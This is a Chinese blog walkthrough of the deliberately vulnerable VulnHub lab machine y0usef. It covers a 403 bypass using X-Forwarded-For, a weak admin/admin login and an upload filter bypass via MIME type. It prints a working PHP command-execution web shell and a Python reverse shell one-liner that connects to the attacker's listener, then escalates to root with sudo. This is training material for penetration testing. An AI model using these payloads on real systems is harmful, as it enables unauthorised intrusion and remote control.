声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!
实战打靶系列第 08 篇文章
相关信息
kali:192.168.195.13
靶机:192.168.195.30
下载地址:
https://download.vulnhub.com/y0usef/y0usef.ova
难度:Easy
文字思路
全流程思路:
主机发现
端口扫描:22,80端口,基本确认思路就是web探测然后ssh连接。
web信息搜集 指纹探测 403 Bypass 文件上传 提权
局部思路
403绕过
-
旁站的方式绕过
-
覆盖url的方式
-
ReFerer修改
-
X打头的代理参数修改
文件上传检测绕过
-
更改后缀名
-
更改mime类型------>对于相关文件的 :
Content-Type
头部 -
对文件头部完全的替换为另一种文件类型的头部,将恶意代码放在文件其他部分
下意识的操作
-
对目标网站进行指纹信息识别。
-
遇到
403
禁止访问的时候最好进行network
抓包查看返回码是否为403
-
==进入后台后的思路基本就是寻找上传漏洞==
-
如何判断什么是base64:
-
0-9,a-z,A-Z,/+=
-
很多base64编码的结尾会有一个
=
结尾 -
在发现后台的登陆界面后我们一般要手动的进行弱口令的猜解,不要直接进行字典的爆破。(看个人习惯吧)
主要的知识点
-
403绕过
-
文件上传
具体流程
信息收集
-
主机发现和相关服务,版本信息搜集。
-
访问web网页(没有什么信息)和它的robots.txt文件(不存在),包括我们==查看完源码==后依然没有什么搜获。
-
使用
whatweb
工具来对该网页进行相关的 ==指纹信息==识别。发现Bootstrap
开发框架爱等等。==这个必须形成下意识的操作==,即使可能没有什么能立即使用的信息。选择
dirsearch
进行web
路径爬取,发现了大量的403禁止访问
禁止我们进行访问,同时发下adminstration
是一个重定向的路径,然后我们对该文件进行访问后发现依然是403
,即使我们通过工作台查看它网络抓包的返回码也是403
这里非常细节,为确保确实
403
还查看网络抓包。
漏洞:403绕过
由于目标网站出现大量的 403
,而且我们也没有其他的什么大的发现所以可以尝试进行 403
绕过。
X打头的绕过
-
通过
burpsuite
来进行抓包,方便分析。我们通过X-Forwarded-For
这个参数来进行绕过,我们将其设为127.0.0.1
相当于我们让靶机认为是它自己在访问自己的网站,从而让我们能够绕过403
。 -
然后我们直接在浏览器访问的时候进行数据包的修改来进行成功的访问,发现是个登陆的界面。
-
然后再对该页面进行
burpsuite
的抓包分析和访问,我们可以进行简单的密码猜解然后来登陆尝试。发现为弱口令用户和密码admin
admin
。我们可以发现最终进入到后台。==注意==:在这部操作中的所有数据包都要加上
X-Forwarded-For:127.0.0.1
漏洞:文件上传
通过我们进入发现了个 Upload file
这个选项,这不相等与明示我们要进行相关的 ==文件上传==漏洞测试吗? ==记得加上X字段头==
-
我们自己上传一个
php
的一句话恶意脚本cchl.php
,但是我们发现了一个问题,我们的上传文件被禁止了。<?php $var=shell_exec($_GET['cmd']);echo $var?>
-
所以我进行
文件上传
的检测绕过,通过修改mime
的类型来进行尝试。及Content-Type
头部。发现成功的上传,同时可以看到该文件被重命名和它的存放路径。 -
我们进行访问,同时携带相关的
payload
可以发现成功的回显。证明我的文件上传漏洞利用成功,接下来就是反弹shell
了。
反弹shell
-
查看是否有
python
环境,上传的payload
为which python
。 -
上传
payload
,打开本地的4444
监听。发现成功的突破边界,拿到一个用户的权限。这个网站不加 ==X-Forwarded-For==字段也是可以的。python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.121.13",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
-
浏览
passwd
文件来查看可以使用shell
的用户,同时对发现的yousef
用户进行相关目录的浏览发现第一个flag
。当我们查看
flag
的时候,我应该具有判断这flag
可能为base64
编码的能力,对这个flag
解密后我们发现很惊喜
直接登陆提权
-
这个靶机的提权非常简单,根据上一步的发现。
ssh
登陆后,我先进行常规的id, sudo -l
等信息搜集。 -
通过
id
发现我们是有sudo
权限的 -
通过
sudo -l
我们可以看到我们是可以secure_path
。通过阅读我们可以明显的发现我们是ALL:ALL
什么权限都有的 -
进而
sudo -s
直接切换为root
用户,然后拿取flag
但同时我们也发现这个flag
可以也为base64
解码后也简单明了,为作者的联系方式。到处靶机拿下
参考资料:
https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
原文始发于微信公众号(0x00实验室):VulnHub靶机-y0usef |红队打靶
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论